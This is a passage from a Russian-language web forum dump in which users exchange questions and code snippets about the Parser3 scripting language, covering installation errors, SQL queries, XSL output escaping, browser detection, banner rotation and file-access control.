%C4	Д\
%CB	Л\
%CE	О\
%D0	Р\
%CF	П\
%C0	А\
%C2	В\
%DB	Ы\
%D4	Ф\
%DF	Я\
%D7	Ч\
%D1	С\
%CC	М\
%C8	И\
%D2	Т\
%DC	Ь\
%C1	Б\
%DE	Ю\
%2C	,\
}]\
\
$buffer[$buffer]\
$buffer[^buffer.replace[$repl]]\
$result[$buffer]\
[/code]"
"26370","по мне, дак это скрытая замануха: каждый считающий - читающий =>> меньше глупых вопросов"
"26371","«Вопросы по установке» смотрел исключительно для успокоения совести. При установке читал раздел «Хостинги» и документацию.\
\
Собирал Парсер под windows и Debian Linux. В первом случае, документация мне помогла мало, использовал метод полного перебора. На Linux же очень помог файл INSTALL.\
\
Самым сложным для меня вопросом по синтаксису Парсера, насколько помню, был вопрос, как обратиться к переменной в имени которой содержится точка. Например $[abc.qwe]. Ответ я не нашел, ни в доке, ни в faq'е, только в примерах.\
\
Пошел на кухню за пирожком :)"
"26372","Прошу прощения. Тут голова уже другим занята, и про парсер я забыл :(\
Да, оказалось что драйвер для mysql не мог найти pa_sql_driver.h , но почему-то не останавливался с ошибкой, а нормально оканчивал работу и делал вид что все слинковалось (а может просто у меня руки не под то заточены). Во всяком случае из тарбола все заработало. Спасибо за помощь :)"
"26373","Т.к. строки не совсем одинаковые, т.е. у них разные id, parent, а одинаковые только head и body, поэтому он считает их разными."
"26374","Я вернул мой файл </auto.p> - этот файл не из </cgi-bin/> и он не содержал никаких методов @conf[]... (странно...)\
\
Попробовал запустить часть дизайна сайта - вроде работает. (имею ввиду http://www.karasev.ru/)\
\
Жду указаний относительно БД, тк. проблемы видны на лицо на странице http://www.karasev.ru/test.html\
\
ЗЫ. Сожалею, если выказал какое-то неуважение, совсем не хотел этого."
"26375","Абсолютно не понятно, зачем такое городилово:\
[code]\
$buffer[$buffer]\
$buffer[^buffer.replace[$repl]]\
$result[$buffer]\
[/code]\
\
все это переписывается в \
[code]$result[^buffer.replace[$repl]][/code]   \
\
 к тому же если таблица замен больше нигде не используется, то определите ее как локальную\
[code]\
@unuri[buffer][repl]\
[/code]"
"26376","[code]\
^connect[$SQL.connect-string]{\
   $search_result[^table::sql{\
      SELECT\
         max(id) as id, \
         head, \
         body,\
         count(*) as cnt\
      FROM content \
      WHERE body LIKE '%$form:search%'\
      GROUP BY head\
   }]\
[/code]"
"26379","я его читаю, но ни разу не считал, но так мыслю что число круглое."
"26380","Как сгенить сайт в html? (я записывал в строковую переменную и сохранял в .html файлах)"
"26382","но если читать FAQ внимательно, от корки до корки - ответов намного больше...  ;)"
"26383","[b]2dizel-13:[/b] А где этот код достать?"
"26384","Могли бы где-нибудь в FAQ'е написать про это:\
Делаешь сайт на Parser'е с БД, \"скачиваешь\" и помещаешь на HTML-хостинге. И никакой мороки, никакого мексиканства. Тогда Parser точно стал бы стандартом рунета : )"
"26386","При трансформации с помощью метода ^transform[] в html коде, находившемся в секции <![CDATA[ ]]>, делается замена символов xml разметки на соответствующие этим символам ссылки. Правильно ли я понимаю, что придется подождать появления возможности использовать параметр cdata-section-elements?"
"26387","рекомендуемый способ писать javascript в XSL:\
\
<script ...><xsl:comment><xsl:text disable-output-escaping=\"yes\"><![CDATA[\
// ваш код тут\
\
// \"<2\" это не начало тега потому, что в CDATA\
// \"<\" не превратится в &lt; потому, что под disable-output-escaping=\"yes\"\
if(1<2){\
   alert(\"works!\")\
}\
\
]]></xsl:text></xsl:comment></script>\
\
CDATA нужна, чтобы знаки <> в javascript проверках не портили XML в .xsl файле.\
\
писавшие стандарт люди знали о наших проблемах, и сделали возможность запрета такого преобразования: атрибут disable-outout-encoding\
элемента xsl:text, см. стандарт."
"26388","например внимательно прочитав ответ на вопрос о Internal Server Error, можно также получить ответы на следующие вопросы:\
\
1. что означает ошибка Premature end of script headers?\
2. у кого можно уточнить сведения об операционной системе моего сервера?\
3. вижу в логе какую-то ошибку. Что делать?\
\
ну и так далее..."
"26389","если мне надо внутрь этой инструкции вставить не текст, а элемент (например xsl:value-of)? Ведь так делать нельзя?! Как поступить в случае если html код мне надо хранить не в xsl-шаблоне, а во входном документе?"
"26390","просто ответ очень подробный"
"26391","У меня метод xml класса module отдает xml вида: \
<module name=\"\">\
 <created></created>\
 ...\
 <content></content>\
</module>\
<module name=\"\">\
 <created></created>\
 ...\
 <content></content>\
</module>\
А метод html класса page формирует html-код страницы по нужному шаблону. В элементе <content> в секции <![CDATA[ может храниться html код."
"26392","SQLyog 3.6 лучше."
"26393","коль скоро необходима уникальность пары текст/заголовок, то стоит ввести в таблицу поле fingerprint char(16) и при добавлении/редактированнии статьи делать MD5(CONCAT($head,$text)). \
Ну и индекс на это поле."
"26394","каждый интерпретирует по своему, нет смысла спорить...\
\
Просто если FAQ читать только когда приспичит, то ответов на некоторые вопросы (что означает ошибка Premature end of script headers? например) можно и не найти, ибо второпях смотрят обычно именно на вопросы, а такого вопроса в FAQ нет. А ответ на него там есть. Парадокс? Поэтому мораль - читаем FAQ первым делом, внимательно и до конца, потом меньше проблем будет."
"26395","Не заметил, что у элемента xsl:value-of тоже есть параметр  disable-output-escaping"
"26396","Эту фразу прочитал на форуме Raleigh.ru\
Неужели и правда стоит отказаться от постоянного использования disable-output-escaping? Ведь это так удобно в моем случае?"
"26397","Самая жопа настроить сервер...\
\
Internal Server Error\
The server encountered an internal error or misconfiguration and was unable to complete your request.\
Please contact the server administrator, ecopravo@ecopravo.ru and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
\
More information about this error may be available in the server error log.\
\
\
\
--------------------------------------------------------------------------------\
\
Apache/1.3.26 Server at www.ecopravo.ru Port 80"
"26399","Могу порекомендовать немного раслабиться и заглянуть в логи.\
Если непонятно, что написано в последней строчке логов, то строчку надо поискать в форуме, если ненаходите то выкладываете строчку с просьбой помоч.\
Лог находится в папке куда в ставите парсер-фаил с расширением .log (это парсеровский лог), если там пусто смотрите логи сервера и проверяете всёли правильно вы сделали.\
\
зы: привыкайте пользоваться поиском по форуму"
"26400","handler = lt_dlopen(filename/*=\"путь/и/файл/libparser3mysql.so\"*/) возвращает null-handler, поэтому и не открывается libparser3mysql.so модуль. Я проверял для FreeBSD 4.5 - там все в порядке.  lt_dlopen - из libltdl - по идее, стандартной. Но у Вас она идет вместе с Парсером и libtool версии, кажется, 1.4.3. Почему это так? Я попробовал подменить каталог ltdl на аналогичный, установленный из портов, версии 1.5, но безуспешно, так как нет в Makefile'е правила на сборку библиотеки с суффиксом 'c' (libltdlc.so и сопутств.). Переименование libltdl.so в libltdlc.so и сопутств. позволяет собрать Парсер, но получаю ошибку другого, не того же, что раньше, Undefinede symbol'a с \"украшенным\" по типам аргументов именем функции. Подскажите, что за версия библиотеки с суффиксом \"c\", и в чем заключается модификация исходников стандартной библиотеки, чтобы получить требуемую для Парсера? Спасибо."
"26402","надо мне в зависимости от браузера посетителя вставить тот (menu.tmpl) или иной (menu_other.tmpl) файл. Посмотрел я пример насчет определения платформы/браузера и сделал так:\
\
$brouser[$env:HTTP_USER_AGENT]\
\
$ver[^brouser.match[msie][i]]\
^if($ver){ \
	@menu[]\
	$file[^file::load[text;include/menu.tmpl]]\
	^process[$caller.self]{^taint[as-is][$file.text]}\
}\
{\
@menu[]\
	$file[^file::load[text;include/menu_other.tmpl]]\
	^process[$caller.self]{^taint[as-is][$file.text]}\
}\
\
Но почему-то не работает. Точнее выбирается второй вариант и у IE и у, например, Operы, как будто match не находит msie. Где может быть у меня ошибка?"
"26403","В работе столкнулся с небольшой проблемой. Может это и не проблема, конечно, но у меня какой-то ступор. Уже час пытаюсь написать форму отправки файла на сервер с локального адреса типа: c:\\text.txt \
\
Пишу:\
\
<form method=\"POST\" name=\"price\" enctype=\"multipart/form-data\">\
<input type=\"file\" name=\"path\">\
<input type=\"submit\" value=\"send\" name=\"price\">\
</form>\
 \
Далее:\
\
$file[^file::load[text;$form:path]\
^file.save[text;/price/price.txt]\
\
Парсер ругается:\
/usr/home/hosting/site/htdocs.site.net/c:\\text.txt' read failed, т.е. ищет файл от корня веб пространства, а не на локальном диске. Что делать? \
\
Заранее спасибо."
"26404","У седьмой оперы по умолчанию UA:\
[i]Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.23 [en][/i]\
а оригинальный, без закоса под IE:\
[i]Opera/7.23 (Windows NT 5.1; U) [en][/i]\
\
Вообще собираюсь написать свой варинант - более ресурсоемкий, но более точный. Проблема в том, что каждый браузер пишет о себе как попало, + еще куча ботов и краулеров существует.\
Интресно, а есть ли какой-то стандарт написания строки UA?\
\
Для интересующихся - таблица с UA разных браузеров\
http://webmaster.info.aol.com/detection.html\
если интересно, то могу еще свои добавить - WinCE, и т.д."
"26405","$brouser[$env:HTTP_USER_AGENT]\
$menu[^if(^brouser.match[msie][i]){menu_ie}{menu_other}]\
\
З.Ы. Определение браузеров мне нужно для того, чтобы определить, использовать ли javascript"
"26407","http://www.parser.ru/examples/detect/\
\
P.S. вообще не представляю как может работать хоть как-то такое:\
[code]\
^if(условие){ \
@a[]\
описание метода a\
}{\
@b[]\
описание метода b\
}\
[/code]\
почитайте хотя-бы начало документации"
"26408","Никто- не подскажет , есть ли в парсере функция die как в перле... может она не документирована...\
Может кто напишет?"
"26411","Можно как-нибудь заменять:\
\
/book/?glava=1\
\
на:\
\
/book/glava1/"
"26412","Спасибо за совет, Misha v.3! Я естественно уже читал все доки. Действительно, там все есть. Просто, видимо, заработался вчера и \"заглючил\". С утра посмотрел, и все сразу понял :-)"
"26413","Нужна чтобы создать функцию валидности пользователя...."
"26414","Чтобы при запросе на /book/glava1/ выводился /book/?glava=1 нужно иеть специальный настроенный модуль апача"
"26415","Вот здесь: http://www.parser.ru/forum/?id=21939"
"26416","А где взять этот специальный модуль?"
"26419","тебе надо для этого иметь у себя на Apache mod_rewrite"
"26421","хочется странного:\
показ определенного кол-ва баннеров в рандомном порядке и(sic!) показ нескольких баннеров чаще других.\
\
можно накопировать баннер с разными именами, но может есть другой путь?"
"26422","Мы выбираем генерируем случайное число на отрезке скажес от 0 до 1000.\
Отредок делим на интервалы прикреплённые к определённому банеру\
банер №1 от 0 до 5\
банер №2 от 5 до 700\
банер №3 от 700 до 1000\
тк интервалы разной длины то и банеры будут показываться с разной частотой.\
\
Если приблизительно то из 1000 показов\
банер №1 покажется 5 раз\
банер №2 - 695\
банер №3 - 300\
\
зы: Это всего лишь мысль которую неследует принимать буквально."
"26426","6.15, 6.45, 7.15, 7.45, 8.10, 11.20, 14.10, 16.40, 20.30 \"Вести Регион-Тюмень\".\
\
чтобы получить, таблицу:\
6.15 \"Вести Регион-Тюмень\".\
6.45 \"Вести Регион-Тюмень\".\
и т.д.\
\
пока пришло только такое решение.\
[code]\
$str[6.15, 6.45, 7.15, 7.45, 8.10, 11.20, 14.10, 16.40, 20.30 \"Вести Регион-Тюмень\".]\
$parts[^str.split[, ;vl]]\
^parts.offset(-1)\
$title[^parts.piece.match[\\d{1,2}\\.\\d{2}\\s(.*?)^$][m]{$match.1}]\
^parts.menu{\
	^if(^parts.piece.match[^^\\d{1,2}\\.\\d{2}^$][m]){\
		$result[$parts.piece $title^#0A]\
	}{\
		$result[$parts.piece]\
	}\
	^result.save[append;/test.txt]\
}\
[/code]"
"26427","[code]\
$str[6.15, 6.45, 7.15, 7.45, 8.10, 11.20, 14.10, 16.40, 20.30 \"Вести Регион-Тюмень\".]\
$t[^str.split[ \";v]]\
$time_str[$t.piece]\
$time_tbl[^time_str.split[, ;v]]\
^t.offset(-1)\
$item_tbl[^table::create{time	item\
^time_tbl.menu{$time_tbl.piece	\"$t.piece\
}}]\
[/code]"
"26428","название не всегда начинается с кавычки (иногда бывает x/ф \"Матрица\"), а вот то что мой предыдущий тред содержит ошибку -- факт.\
\
Попался на заголовке: 5.00 Доброе утро, Россия!"
"26429","Поиском пользовался, находил только рекомендаци использовать в некоторых случаях &nbsp^ вместо &nbsp...\
А что такое просто &nbsp никто не писал...\
Спасибо"
"26430","К примеру чтобы не переносились на новую строку ИНН\
1234567890\
используют ИНН&nbsp;01234567890"
"26431","Делаю выборку из базы в соответствии с диапазаном роста и\
одновременно веса.\
@greeting[]\
Search! \
\
@body_additional[] \
<center>Search! </center> \
<br> \
\
\
@body_main[] \
<b><h1>All list of girl! </h1></b> \
<left> \
<form method=\"POST\" enctype=\"multipart/form-data\">\
<br>\
Height(см): From: <SELECT NAME=\"height_from\" SIZE=\"1\">\
                <option value=\"150\" selected> \
                <option value=\"150\"> 150\
                <option value=\"155\"> 155\
                <option value=\"160\"> 160\
                <option value=\"165\"> 165\
                <option value=\"170\"> 170\
                <option value=\"175\"> 175\
                <option value=\"180\"> 180\
                <option value=\"185\"> 185\
                <option value=\"190\"> 190\
                <option value=\"195\"> 195\
                <option value=\"200\"> 200\
                <option value=\"205\"> 205\
                <option value=\"210\"> 210\
                <option value=\"215\"> 215\
                <option value=\"220\"> 220\
                </SELECT><br>\
           To:<SELECT NAME=\"height_to\" SIZE=\"1\">\
                <option value=\"220\" selected> \
                <option value=\"150\"> 150\
                <option value=\"155\"> 155\
                <option value=\"160\"> 160\
                <option value=\"165\"> 165\
                <option value=\"170\"> 170\
                <option value=\"175\"> 175\
                <option value=\"180\"> 180\
                <option value=\"185\"> 185\
                <option value=\"190\"> 190\
                <option value=\"195\"> 195\
                <option value=\"200\"> 200\
                <option value=\"205\"> 205\
                <option value=\"210\"> 210\
                <option value=\"215\"> 215\
                <option value=\"220\"> 220\
                </SELECT><br>\
Weight (kg): From:<SELECT NAME=\"weight_from\" SIZE=\"1\">\
                <option value=\"40\" selected>\
                 ^for[weight](40;150){\
                <option value=\"$weight\"> $weight}\
                </SELECT><br>\
             To:<SELECT NAME=\"weight_to\" SIZE=\"1\">\
                <option value=\"150\" selected>\
                 ^for[weight](40;150){\
                <option value=\"$weight\"> $weight}\
                </SELECT><br>\
\
<input type=\"submit\" value=\"Search\" name=\"posted\">&nbsp^;&nbsp^;&nbsp^;&nbsp^;\
<input type=\"reset\" value=\"Отмена\">\
\
</form> \
\
^connect[$connect_string]{ \
   $news[^table::sql{select* \
         \
   from \
      checked_girls  \
    \
   where height>= \"${form:height_from}\" AND height<\"${form:height_to}\" AND weight>=\
\"${form:weight_from}\" AND weight<\
\"${form:weight_to}\"\
   }] \
   ^if($news){ \
      ^news.menu{ \
         <b>\
        ID:$news.id<br>\
        First Name: $news.first_name<br>\
        Last Name: $news.last_name<br>\
        Date of Birth: $news.date<br>\
        Zodiac: $news.zodiac<br>\
        Passport: $news.passport<br>\
        Height (cm): $news.height\
        Weight (kg): $news.weight\
        Hair color: $news.hair<br>\
        Eyes color: $news.eyes<br>\
        Languages: $news.languages<br>\
        Marital status: marital_status<br>\
        Children:children<br>\
        Education: $news.education<br>\
        Major: $news.major<br>\
        Smoker: $news.smoker<br>\
        Drinker: $news.drinker<br>\
        Religion: $news.religion<br>\
        About me: $news.about_me<br>\
        Looking for: $news.looking_for<br>\
        ^if($news.photo_url ne none){\
        Foto:<img src=\"$news.photo_url\" HEIGHT = 100>}\
        <br> \
      }[<br>] \
   }{ \
      Нет анкет...\
   } \
} \
Что то не получается... Ошибку не выдает, но и не ищет ничего... В\
форме есть параметры по умолчанию, так что если ничего не выбрано, то\
по идее должны отображатся все записи... Это не происходит...\
Помогите..."
"26432","Можно находить последнее вхождение времени, потом сплитить по этому вхождению... ну ты понял\
Немножко извращение, но работать должно"
"26433","А если в таком виде &nbsp^;&nbsp^;&nbsp^;&nbsp^;"
"26434","[code]\
$str[6.15, 6.45, 7.15, 7.45, 8.10, 11.20, 14.10, 16.40, 20.30 \"Вести Регион-Тюмень\".]\
$spliter[^str.match[[0-9]{1,2}\\.[0-9]{1,2}\\s][']]\
$t[^str.split[$spliter.match;v]]\
$time[${t.piece}$spliter.match]\
^t.offset(-1)\
$item[$t.piece]\
$time[^time.split[, ;v]]\
$table[^table::create{time	item\
^time.menu{$time.piece	$item\
}}]\
[/code]"
"26435","Попробуй следующую часть в обкатать в SQL консоли, скорее всего ошибка в условии\
\
select* \
\
from \
checked_girls \
\
where height>= \"${form:height_from}\" AND height<\"${form:height_to}\" AND weight>=\
\"${form:weight_from}\" AND weight<\
\"${form:weight_to}\"\
\
И ещё вот это не обязатеьно писать в этом случае так \"${form:height_from}\", можно без фигурных скобок"
"26436","Самое интересное, что такая выборка работает\
select* \
from \
checked_girls \
where height>= \"${form:height_from}\" AND height<\"${form:height_to}\"\
Из консоли выборка полностью работает, если запрос передавать в таком виде\
select* \
from \
checked_girls \
where height>= 150 AND height<220\
В таком уже не работает\
select* \
from \
checked_girls \
where height>= \"150\" AND height<\"220\"\
Хотя это очень странно, может проблема в том, что парсер передает лишние ковычки....?"
"26437","Давняя тема, ответ на которую мне так и неясен.\
\
Задача:\
Организовать некий файловый архив на сайте, имеющим самодельную систему авторизации на парсере. доступ к файлам проверять по правам доступа (условно назовем метод ^можноли[]). Доступ к файлам иным способом, кроме как через систему авторизации, не должен существовать.\
\
Вариант 1:\
$response:body[^file::load[...]]. отметается сразу, так как файлы могут быть большого (уточняю: огромного) размера, а парсер прежде чем их отдавать будет грузить их в память. память не резинвоая вестимо.\
\
Вариант 2:\
Редиректы. На странице проверяем права на файл, и делаем редирект на storage/realfile.zip, скажем. Очевидно, что от прав доступа толку ноль, поскольку будет работать прямая ссылка в обход страницы. Такой вариант отметаем.\
\
Вариант 3:\
При получении права доступа на странице, генерим некий супер-уникальный идентификатор, каталог с таким именем, пихаем туда линк на реальный файл и сгенерированный .htaccess для исходного айпи адреса сессии. Со страницы делаем редирект на слинкованный файл. Каталоги прибиваем по старости через некоторое время. Наиболее рабочий из пришедших мне в голову вариантов. Правда, уродский в смысле красивости решения. Да и все равно не идеален в плане существования NAT'ов, Proxy'ей и прочей фигни с одним адресом.\
\
\
Вопрос:\
Как же быть? Что посоветуете вы?"
"26439","Или даже, возможно, его модификацию - .htaccess генерить не обязательно, всё равно ведь директория вскоре будет прибита."
"26440","Если да, то имеет смысл подумать об использовании стандартной схему авторизации и для файлов прописать ограничения, используя директивы модуля mod_auth. Такое решение будет изяшней, чем третий вариант и, скорее всего, проще в реализации."
"26442",".htaccess нужен против случая, когда кто-то получил доступ через страничку и дал ссылку третьему лицу (или ссылка \"утекла\"). эта защита все равно не спасет от NAT&Proxy. но хоть что-то..."
"26443","Она ведется в mysql/postgresql/что-то-sql (неважно). В идеале весьма динамическая база; практически пока что более-менее статичная. Вести дубляж юзеров в базе и в конфигах апача нежелательно и неудобно. Генерировать конфиги апача со списками юзеров... Хм... изврат. Не могу придумать как это сделать на весьма динамичной базе юзеров.\
А уж авторизация в запросах типа http://user:pass@url - это явный маразм. А требовать дополнительного ввода имени и пароля для каждого файла после того, как основная авторизация по сайту пройдена - тоже не годится.\
В общем, вопрос пока открытый :-)"
"26444","Заметил, что поставил двойные ковычки, поменял на одинарные - эффекта ноль."
"26446","Может какой-то коварный невидимый пробел где-то добавляется вместе с данными...."
"26447","..но если сравнивать число (height) и строку ('150') то получается какая-то логическая фигня."
"26448","для этого существует, и прекрасно работает CSS."
"26449","Баннерную подсистему лучше всего организовывать как вызов внешнего ресурса через iframe.\
\
1. Показ в рандомном порядке у меня был реализован примерно так:\
Яваскриптом на странице генеришь случайное число(как правило для того чтобы сраницы с баннерами не кешировались), это число подставляешь параметром к вызову страницы баннера. Таким образом баннеры вызванные с одной страницы будут иметь одинаковый параметр.\
Далее после выборки баннера делаем update поля last_pid, в которое заносим наше рандомное число со страницы. При следующей выборке уже показанный баннер попадет под условие last_pid!=\"наше рандомное число со страницы\" и повторно на одной странице показан не будет.\
\
2. Вводишь в таблицу такое понятие как вес(weight) баннера, т.е. число в пределах, к примеру, 1..5. При выборке используем его след. образом:\
\
...\
order by\
    views*weight\
...\
где views = количество просмотров.\
\
Таким образом при весе в 3,2,1 из 6 показов будут показаны первый - три раза, второй - два и третий один.\
\
\
И еще пару моментов, которые тебе однозначно пригодятся.\
\
Полей с просмотрами должно быть два, одно - фактическое, для статистики, другое для операций по выборке. Второе при добавлении баннера следует обнулять. Таким образом вновь добавленный баннер станет равноценным по отношению к показам остальных.\
\
При выборках баннера обязательно делать LOCK/UNLOCK таблицы с баннерами, т.к. повторный select может не включить в себя результаты после update и на странице вылезет два одинаковых баннера."
"26450","если не хотите делать по-хорошему (mod_mysqlauth),\
то ничего плохого в этом самом дубляже нет.\
\
делается просто, работает надёжно."
"26452","Здравствуйте.\
Помогите разобраться, я в первый раз этим занимаюсь, почему когда я все установил и все сделал как написано в уроке №1 он напросто пишет команду ^navigation[] в html странице, т. е. нечего не формирует, что я еще забыл сделать!!! Разъясните...."
"26454","Был бы заранее благодарен, если бы Вы указали на какой странице, потомучто столько и \"многое\" непонятно...."
"26455","[quote]\
Как задать вопрос чтобы получить максимально полезный ответ?\
[/quote]"
"26456","Просто напишите свой cgi, который будет (или не будет) отдавать файлы. А на страницах делайте на него редирект."
"26457","У вас не включена обработка парсерного кода сервером. См. FAQ->Вопросы по установке"
"26458","Напишите по шагам пожалуйста как его настроить описание это видел я его .....Заранее благодарен для (win32)"
"26459","Возникает при вызове этого метода из index.html: \
[code]\
@get[url;hours_back][now;local;l_path;r_path;doc]\
$now[^date::now[]]\
$l_path[^url.match[^^(http://)?(.{5,})^$][']]\
$r_path[http://$l_path.2]\
$l_path[$l_path.2]\
$l_path[$MAIN:path_to.rss/^l_path.match[/][g]{_}.xml]\
^try{$local[^file::stat[$l_path]]}{$exception.handled(1)}\
^if(def $local && $local.mdate > $now-1/24*$hours_back){\
 ^try{$doc[^xdoc::load[$l_path]]}{$exception.handled(1)}\
}{\
 ^try{$doc[^xdoc::load[$r_path]]  ^doc.save[$l_path]}{$exception.handled(1)}\
}\
^if(!def $doc){\
$doc[^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\" ?> \
<document> \
\
</document>}] \
}\
$result[^doc.string[]]\
[/code]\
Если же просто написать в index.html: \
[code]\
^if(!def $doc){\
$doc[^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\" ?> \
<document> \
\
</document>}] \
}\
[/code]\
то все нормально, как и должно быть. Не могу понять, почему так происходит?"
"26460","CVS|HEAD\
\
большое спасибо за короткий воспроизводимый тест, позволивший быстро локализовать проблему."
"26461","Я, конечно понимаю, что такого не бывает, но вышепреведенный код стал работать. Вот так, вдруг, просто стал работать. \
А вообще, что это ошибка (<no comment>) обозначает?"
"26463","когда при этом возникает ошибка, то последующий xdoc::create сбоит, ошибочно пытаясь выдавать огрызок предыдущей ошибки.\
\
в CVS|HEAD последующий create работает нормально."
"26465","Добрый день!\
Вопрос скорее не по парсеру, а по HTML.\
Есть запрос, который выполняется чуть больше минуты (поиск в большой базе).\
Хотелось бы чтобы на время выполнения запроса, пользователю выводилась страница с какой-нибудь анимашкой. \
А еще туда можно забацать кнопочку \"Остановить\"...\
Как это сделать?"
"26466","можно просто сделать предупрежддение о том, что запрос занимает несколько минут\
насчёт кнопки прерывания - по идее не должно получиться, так как запрос уже отправлен и сервер его долго и мучительно обрабатывает. При нажатии на кнопку - это уже другной запрос, который будет выполнен только после этого"
"26468","1. правильный.\
переделать алгоритм на быстрый.\
посмотрите на http://mnogosearch.org, индексация баз данных.\
\
2. разбиваете базу на части (скажем, по буквам алфавита)\
и делаете поиск сначала по букве 'A', потом по 'Б', каждый раз делая $response:location[http://ваш.сервер/этот_скрипт.html?letter=Б] потом letter=В\
\
там можно и прогресс бар нарисовать, и stop нажать в любой момент."
"26469","Дело в том, что разбить базу на части нельзя. Вся информация находится в одной базе но, далеко не в одной таблице. По ходу поиска делается полноценный анализ (выполняются различные хранимые процедуры и т.д.) существующих данных и различных бухгалтерских данных, находящихся в этой же базе.\
Поэтому процесс достаточно долгий."
"26470","Много раз видел (форумы какие-то, не помню на каких движках) после того, как наживаешь на кнопку \"искать\" открывается сплэш экран, а потом выдаются результаты."
"26471","с тем же успехом я могу на странице отдавать. мой цги все ранво будет его грузить в память целиком. а если делать фрагментную скачку, чтобы и докачка работала, и на файле, скажем, размером 1 гиг, память не занималась бы больше N мегабайт... Не, я настолько хорошо ЦГИ не знаю :)"
"26472","1. Я не думаю, что следует разрешать скачивать такие объёмы больше чем в один поток.\
2. Ни чего не стоит сделать элементарный буфер.\
\
Всё это раелизуется на чистом C за пол часа."
"26474","если процесс работает дольше минуты, у браузера может случиться timeout.\
\
правильным решением тут организовать постановку задачи в некую очередь, и регулярную проверку этой самой очереди.\
\
простой вариант для бедных: \
* задание в виде файлика записывается в некий каталог.\
* сбоку запущен маленький .cmd файл, засыпающий \
[code]\
Usage:  C:\\Reskit\\sleep.EXE time-to-sleep-in-seconds\
[/code]\
на небольшое время, просыпающийся и, при наличии файликов, запускающий процессы их обработки.\
\
время от времени страница с индикатором хода выполнения перегружается (ищите слово refresh), и, когда, скажем, файлик с заданием с диска пропадает, показывает другой файлик, в который записан статус выполнения задачи."
"26475","А поподробнее....?"
"26476","это не решение, а просто соображение по поводу направления последующих размышлений. \
\
<div id=\"loadnig\" style=\"display:\">\
подорждите. обрабатывается запрос\
</div>\
\
<div id=\"request_result\" style=\"display:none\">\
тут все что должно размещаться\
</div>\
\
а в конце какой-нибудь картинке onload"
"26477","Та база данных, что у меня сейчас есть под рукой (sybase) при попытке сравнивать число (а я так думаю, что рост и вес в базе хранятся как int) и строку (  \"${form:height_from}\" ) долго ругается.\
\
Если убрать ковычки совсем, что получится? Конструкция вида\
[code]\
select\
   * \
from \
   checked_girls \
where \
   height >= ^form:height_from.int(0) AND \
   height <  ^form:height_to.int(999) AND \
   weight >= ^form:weight_from.int(0) AND \
   weight < ^form:weight_to.int(999)\
[/code]\
вам не подойдёт?"
"26478","Это было недавно на форуме, я себе сохранил:\
\
<html> \
<body onload=\"load1.style.display='none'; body1.style.display=''\"> \
<div id=load1> \
<center>Подождите, идет загрузка данных</center></div> \
<div id=body1 style=\"display:none\"> \
.....тут результаты поиска</div> \
</body> \
</html>"
"26480","Вот такой код в index.html:\
[code]\
@USE\
lib.p\
\
@cross[board][fd]\
$fd[^file::load[text;abcd.p]]\
$result[^process{^taint[as-is][$fd.text]}]\
\
@main[][b]\
^for[b](1;5){^cross[$b]}[, ]\
[/code]\
\
abcd.p:\
[code]\
^$board=$board\
[/code]\
Почему вместо желаемого $board=1, $board=2 и т.д. выводит такое:\
[code]\
$board=, $board=, $board=, $board=, $board=\
[/code]\
?"
"26481","[url=\"http://www.securitylab.ru/42826.html\"]Внедрение SQL кода с завязанными глазами[/url]\
\
Миша и ПАФ уже писали(спасибо им за это), но \"повторение - мать учения\"."
"26482","@show_price_all[]\
^if($price){\
   <center>\
   <table width=\"100%\" border=\"1\">\
      <tr>\
         <td width=\"50%\" align=\"center\">Наименование товара</td>\
         <td width=\"10%\" align=\"center\"><font color=\"red\">Мин. опт. цена</font></td>\
         <td width=\"10%\" align=\"center\">Мин. розн. цена</td>\
         <td width=\"10%\" align=\"center\">Наличие на складе</td>\
         <td width=\"20%\" align=\"center\">Продавец</td>\
      </tr>\
   ^price.menu{\
      <tr>\
         <td width=\"50%\" align=\"left\"><a href=\"\">$price.name</a><br><i>$price.info</i></td>\
         <td width=\"10%\" align=\"right\"><font color=\"red\">$price.cost1</font></td>\
         <td width=\"10%\" align=\"right\">$price.cost2</td>\
         <td width=\"10%\" align=\"right\">$price.storage (на $price.storage_date)</td>\
         <td width=\"30%\" align=\"left\">$price.userid <a href=\"\" title=\"Убрать предложения этой компании из списка\"><img src=\"/i/user_x.gif\" ^image_size[/i/user_x.gif] border=\"0\"></a><br><a href=\"\" title=\"Информация о компании\"><img src=\"/i/user_www.gif\" ^image_size[/i/user_www.gif] border=\"0\"></a> <a href=\"\" title=\"Прайс-лист компании\"><img src=\"/i/user_price.gif\" ^image_size[/i/user_price.gif] border=\"0\"></a> <a href=\"\" title=\"Написать сообщение компании\"><img src=\"/i/user_mail.gif\" ^image_size[/i/user_mail.gif] border=\"0\"></a></td>\
      </tr>\
      }\
   </table>\
   Всего предложений:\
# Добавить \"Всего предложений в данной категории:\"\
   </center>\
}{\
   Нет предложений в данной категории.\
}\
# end @show_price_all\
\
Формируем выборку из БД, получается очень большая таблица которая долго грузится, т.к. пока не реализован вывод по категориям товара то выводим все =) Хочу сделать так: выводим заголовок и пять предложений в одну таблицу, затем идет следующая таблица такого-же плана и т.д. Подскажите как это реализовать"
"26483","под \"контекстом\" process понимается объект/класс.\
в данном случае код из файла выплняется в контексте MAIN, где эта переменная неизвестна.\
\
в вашем простом примере (понимаю, что в жизни он сложнее) лучше приписать @название_метода[параметр] в abcd.p (можно перед process проверить; если есть в файле @main[] - заменить на что-либо, нету - добавиьб), сделать process [b]один раз[/b] создав метод, и потом в цикле вызывать его. так работать будет значительно быстрее.\
\
P.S. хотя странно что с $caller.self не работает, по логике вроде должно..."
"26484","Вот такую страницу вадал парсер. Это не строчка из лога, это то, что показал броузер. Произошло это после того, как я намудрил чего-то в xsl-шаблоне. В логе: \
[Tue Feb 17 13:24:18 2004] exception in request exception handler: Exception 0xC00000FD at 0x100072DD"
"26486","почему сейчас не печатает:\
\
[code]^process{code}[/code], это то же самое, что и [code]^process{@main[]\
code}\
[/code]\
\
и так к этому и нужно подойти. локальные переменные отдыхают.\
\
ведь все согласятся, что вот  тут ничего плохого не усматривают:\
[code]\
^process{@MyMegaMethod[MyMegaParams]\
code\
[/code]\
и не приходит на ум спросить — «а вот где те локальные переменные, что где-то бродили?»."
"26487","автор libxslt библиотеки исправил это уже какое-то время,\
в parser использовалась версия с ошибкой.\
\
под win32 можете скачать готовые .dll из CVS|HEAD.\
[берите и libxml и libxslt]"
"26488","[quote]\
   Насколько я понимаю, концепция языка не предусматривает\
   использование COM? Существуют ли библиотеки расширений для платформ\
